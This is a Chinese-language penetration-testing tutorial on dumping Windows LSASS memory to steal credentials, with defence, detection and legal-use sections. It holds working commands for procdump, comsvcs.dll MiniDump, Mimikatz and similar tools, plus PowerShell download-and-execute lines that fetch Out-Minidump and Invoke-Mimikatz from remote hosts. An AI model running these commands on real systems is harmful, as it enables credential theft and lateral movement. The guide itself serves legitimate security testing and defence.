Windows LSASS 转储技术详解

1. LSASS 概述

LSASS (Local Security Authority Subsystem Service) 是 Windows 系统中负责安全策略和身份验证的核心进程，存储着以下关键信息：

• 本地用户凭据（明文密码或哈希）
• 域用户凭据（当机器加入域时）
• 服务账户凭据
• Kerberos 票据
• 其他安全相关信息

2. LSASS 转储原理

LSASS 进程内存中包含敏感认证数据，通过获取高权限访问该进程内存空间，可以提取出这些信息用于横向移动和权限提升。

3. 转储方法分类

3.1 直接内存转储

3.1.1 使用任务管理器

1. 以管理员权限运行任务管理器
2. 找到 lsass.exe 进程
3. 右键选择"创建转储文件"
4. 生成 .DMP 文件

3.1.2 使用 Procdump

procdump.exe -accepteula -ma lsass.exe lsass.dmp

3.1.3 使用 PowerShell

# 使用 Out-MiniDump
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Out-Minidump.ps1')
Get-Process lsass | Out-Minidump -DumpFilePath C:\temp

# 使用 comsvcs.dll
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full

3.2 间接内存读取

3.2.1 使用 Mimikatz

privilege::debug
sekurlsa::logonpasswords

3.2.2 使用 SharpDump (C#)

// 通过 P/Invoke 调用 MiniDumpWriteDump
[DllImport("dbghelp.dll", SetLastError = true)]
static extern bool MiniDumpWriteDump(...);

3.3 其他技术

3.3.1 使用 Nanodump

nanodump.exe --write C:\temp\lsass.dmp

3.3.2 使用 Dumpert

dumpert.exe -o C:\temp\lsass.dmp

3.3.3 使用 PPLKiller

PPLKiller.exe /dumplsass

4. 防御与检测

4.1 防御措施

1. 启用 Credential Guard:

   • 通过组策略或注册表启用
   • 防止 LSASS 内存中存储明文凭据

2. 启用 LSA 保护:

   reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
   

3. 限制调试权限:

   • 通过组策略限制 SeDebugPrivilege

4. 启用受保护进程:

   • 将 LSASS 配置为受保护进程

4.2 检测方法

1. 监控进程创建:

   • 检测 procdump、rundll32 等工具对 lsass.exe 的操作

2. 文件监控:

   • 监控 lsass.dmp 等可疑转储文件的创建

3. 日志分析:

   • 检查 Windows 事件日志中的可疑活动
   • 重点关注事件 ID 10 (Process Access) 和 4688 (Process Creation)

4. 内存监控:

   • 检测对 LSASS 进程内存的读取操作

5. 转储文件分析

获取转储文件后，可以使用以下工具进行分析：

1. Mimikatz:

   mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
   

2. Pypykatz:

   pypykatz lsa minidump lsass.dmp
   

3. Windows Credential Editor (WCE):

   wce -o dumpfile
   

6. 高级技术

6.1 绕过 Credential Guard

1. 使用 Mimikatz 的 sekurlsa::pth 模块
2. 利用 Shadow Copy 创建卷影副本
3. 使用内核驱动读取内存

6.2 无文件技术

1. 反射式 DLL 注入:

   • 将 Mimikatz 作为反射 DLL 加载到内存中执行

2. PowerShell 内存加载:

   IEX (New-Object Net.WebClient).DownloadString('http://<server>/Invoke-Mimikatz.ps1')
   Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
   

7. 最佳实践

1. 最小权限原则:

   • 限制管理员账户的使用
   • 实施权限分离

2. 多因素认证:

   • 即使凭据泄露也能提供额外保护层

3. 定期审计:

   • 检查异常登录活动
   • 监控特权账户使用情况

4. 补丁管理:

   • 及时更新系统补丁
   • 修复已知漏洞

8. 法律与道德注意事项

1. 仅用于授权测试:

   • 确保有书面授权
   • 明确测试范围

2. 数据保护:

   • 妥善处理获取的凭据
   • 测试完成后立即销毁

3. 合规性:

   • 遵守当地法律法规
   • 遵循行业标准

9. 总结

LSASS 转储是 Windows 渗透测试中的关键技术，了解其原理、方法和防御措施对于安全专业人员至关重要。通过本文介绍的各种技术和工具，安全人员可以全面评估系统安全性，同时也能更好地防御此类攻击。